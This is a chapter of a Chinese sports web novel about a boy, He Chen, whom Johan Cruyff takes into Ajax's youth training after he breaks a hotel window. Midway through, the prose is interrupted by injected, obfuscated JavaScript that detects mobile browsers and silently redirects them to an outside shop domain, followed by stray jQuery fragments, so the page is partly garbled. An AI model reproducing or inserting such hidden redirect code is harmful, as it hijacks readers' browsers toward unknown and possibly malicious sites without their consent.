玻璃碎掉的声音并不清脆。
男孩儿站着不动，仰着脑袋，直勾勾盯着那扇破窗户，等着什么人探出头来。
一分钟过去了，什么也没发生。
几个穿着酒店制服的大人跑出来，捉住他的手腕把他往酒店里拽，而男孩儿的视线始终锁定那个房间。
“……客人已经退房了……赔偿……”
男孩儿微微张开嘴，又慢慢闭上。
这间房间住着他的生物学父亲。
半年前，他家因为他闹得天翻地覆。
这时，他的生物学父亲跳出来，指责他的父母居心叵测；他的社会学父亲也调转枪头，把责任推给母亲。孰料，他的母亲拿出了录音、视频，把这场权色交易公之于众。
公众吃瓜吃得满嘴汁，他则由一个皮球变成一个漏气的皮球，无人问津。
最后，还是生物学父亲的妻子（现在是前妻）站了出来，带着他来到荷兰。
血缘尚且脆弱，更何况他和苏嘉平女士的关系，三言两语根本说不清楚。
“小朋友，你的家长呢？”
男孩儿装聋作哑。
他绝不能麻烦苏女士，也不能不赔钱，愧疚、无助和恐惧混在一起，整个人微微发抖，眼眶也红了。
一个瘦削的男人走过来，头发花白，蓝眼睛几乎透明，似乎被洗过很多次，让男孩儿想到雨后的晴空。
“发生什么事了？”男人用荷兰语问。
他跟酒店的工作人员交谈了几句，拿出一张卡片递给他们，人群立刻散去。男人这才看向罪魁祸首，矮小、瘦弱，四肢跟竹竿差不多纤细的亚裔男孩儿，用一只漏气的足球，踢碎了酒店窗户。
他走到男孩儿面前，半蹲下来。
现在，他和男孩儿一样高了。
“你为什么要这么做？”他用英语问。
“您是约翰·克鲁伊夫先生么？”男孩儿用荷兰语磕磕绊绊地问。
“是的。孩子，你叫什么名字？”
“贺辰。我是中国人。”
“那么贺辰，”克鲁伊夫用了几分力气念他的名字，“跟我走吧。”
贺辰愣住了，他的表情从见到传奇的憧憬，迅速转变为了对陌生人的警惕，往沙发里缩了缩，连珠炮似的问：“跟你？去哪？干什么？”
克鲁伊夫逗他说：“我不是慈善家。我帮你支付了踢碎玻璃的赔偿，你是不是应该报答我？”
“我会尽快把钱还给您的。”贺辰想了想自己干瘪的钱包，又想了想赚钱的办法，坚定地说，“我可以卖血。”
过来还信用卡的酒店前台脚底一滑，差点没给这个孩子跪下。
克鲁伊夫同样惊讶，他的反应则十分优雅，用英语问：“你刚才把你的大脑也踢出去了？”
“那太软了，先生。”贺辰认真地回答。
“我看到你踢的那一球了，你的关节很灵活，但很有力量。你怎么做到的？”
“通过计算。”贺辰打开话匣子，终于不再像一个白痴了，“酒店玻璃比我想的要脆，我原本打算踢一脚，球弹回来，再补一脚的，结果一下就碎了。”
幸好他们已经离开酒店，不然酒店工作人员的脸色得有多难看。
贺辰又缩回壳子里，小声说：“我没想到他不在……抱歉，克鲁伊夫先生，我会尽快把钱还给您的。”
“你想学足球吗？”克鲁伊夫突然问。
“我没有钱。”
“我不收你的钱。”
贺辰抬起头，瞪大眼睛，惊讶地看着克鲁伊夫，说：“您才说您不是慈善家。”
“当然，因为这是一笔投资。”
回到家后，贺辰把这件事告诉苏嘉平。苏女士严厉批评了他出格的行为，然后表示支持他的一切决定。
阿贾克斯对球员的学业有要求，倘若学习成绩下滑，球员会被俱乐部停训停赛。俱乐部在阿姆斯特丹，而他们在鹿特丹，最大的问题是通勤。不能让贺辰往返于两地，这孩子上车后很难保持五分钟清醒，也不能让他寄宿，这会让他误以为自己被弃养了。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732472|208974||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
苏嘉平研究了半天，最终决定搬回父母身边。
她的父母住在阿姆斯特尔芬，房子很大，即使叔婶工作繁忙，把儿子托付给他们照顾，也还有很多空房间。而且，堂弟跟贺辰的年龄差不多，同龄人应该有共同话题；贺辰太安静了，苏嘉平担心他出问题。
在阿贾克斯，贺辰是最小的，也是最瘦的，可没有人敢小瞧他。贺辰经常跟比他大的球员训练、踢比赛，除了身体对抗不占优势，其他方面的表现都远超其他人。
而苏嘉平关心的社交，发现贺辰是一只只会哈气的猫后，球员们经常找他玩，贺辰逐渐变得活泼，外壳融化了一部分。
克鲁伊夫不经常来，可只要他有时间，只要他在阿贾克斯，就会指导贺辰。有时讲战术，有时是稀奇古怪的训练，有时只是沉默地看着他，什么也不做。
贺辰刚开始很拘谨，还因为“关系户”的缘故闹过别扭。克鲁伊夫找到这个自己跟自己拧的孩子，跟他谈了谈，尽管男孩儿什么都没听懂，也不妨碍他亲近这位传奇。
而克鲁伊夫灵机一动的时候，他又想离他远远的了。
“约翰，你的心脏没问题么？”
贺辰拘谨地站着，目光紧追克鲁伊夫，看着他走来走去布置场地。克鲁伊夫调试好吊杆，没用多大力气就把少年吊起来，用实际行动证明自己。
“约翰，我好像一块腊肉。”贺辰的脚尖勉强够着地面，正在艰难地保持平衡，“约翰，我们要转职备战冬奥了么？”
克鲁伊夫丢给他一只足球。
贺辰想停球，却忘了自己被吊在半空，身体失去重心，开始手脚并用扑腾。
“看来你要改行游泳了，腊肉先生。”克鲁伊夫把足球踢过去，“老样子，左脚左墙角、右墙角，右脚右墙角、左墙角。”
“约翰，你怎么老是折腾我！！”
等到克鲁伊夫也“折腾”阿贾克斯了，贺辰反而不高兴了，开始单方面闹别扭。
直到苏嘉平说，我给你买了票，去看看欧洲杯吧。